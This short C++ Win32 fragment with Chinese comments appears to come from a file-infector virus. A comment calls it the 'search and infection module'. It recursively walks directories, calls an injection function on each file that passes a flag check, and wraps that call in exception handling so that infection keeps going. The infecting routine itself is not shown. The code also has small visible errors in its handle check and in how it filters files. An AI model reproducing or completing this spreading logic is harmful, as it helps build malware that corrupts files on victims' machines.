文件遍历目录
// 对 选择进入子目录后 增加了一句 SetCurrentDirectory , 这样才不致于 重复枚举文件。
//搜索和感染模块
//内部检索所有文件, 在内部再判断扩展名
bool __stdcall SearchEntry(HWND param_ListBoxHWND, const char* param_curDir, const char* param_extendName,
int (__stdcall *fpInject)(const char*))
{
char tmpRoot[MAX_PATH] = {0};
lstrcpyn(tmpRoot, param_curDir, lstrlen(param_curDir) + 1);
lstrcat(tmpRoot, "\\");
SetCurrentDirectory(tmpRoot);
WIN32_FIND_DATA fd;
ZeroMemory(&fd, sizeof(fd));
void *hFile = 0;
hFile = FindFirstFile(param_extendName, &fd); // 根据扩展名
if(!hFile)
return false;
else
{
do
{
if( (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
&& lstrcmp(fd.cFileName, ".")
&& lstrcmp(fd.cFileName, ".."))
{
//SendMessage(param_ListBoxHWND, LB_ADDSTRING, 0, (LPARAM)"子目录");
char szSubDir[MAX_PATH] = {0};
lstrcpyn(szSubDir, tmpRoot, lstrlen(tmpRoot) + 1);
lstrcat(szSubDir, fd.cFileName);
SearchEntry(param_ListBoxHWND, szSubDir, param_extendName, fpInject);
}
SetCurrentDirectory(tmpRoot); //重新设回上级目录
// 要加入SEH异常处理, 使感染进行下去
if(!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
{
//SendMessage(param_ListBoxHWND, LB_ADDSTRING, 0, (LPARAM)fd.cFileName);
char szPathName[260] = {0};
GetFullPathName(fd.cFileName, 260, szPathName, 0);
//这里加上异常,使可以继续遍历 不管是C++异常还是SEH
if(checkFileFlag(szPathName, 0))
{
try
{
fpInject(szPathName);
}catch(...)
{
MessageBox(NULL, "引发异常", "Exception", 0);
}
}
}
}while(FindNextFile(hFile, &fd));
FindClose(hFile);
}
return true;
}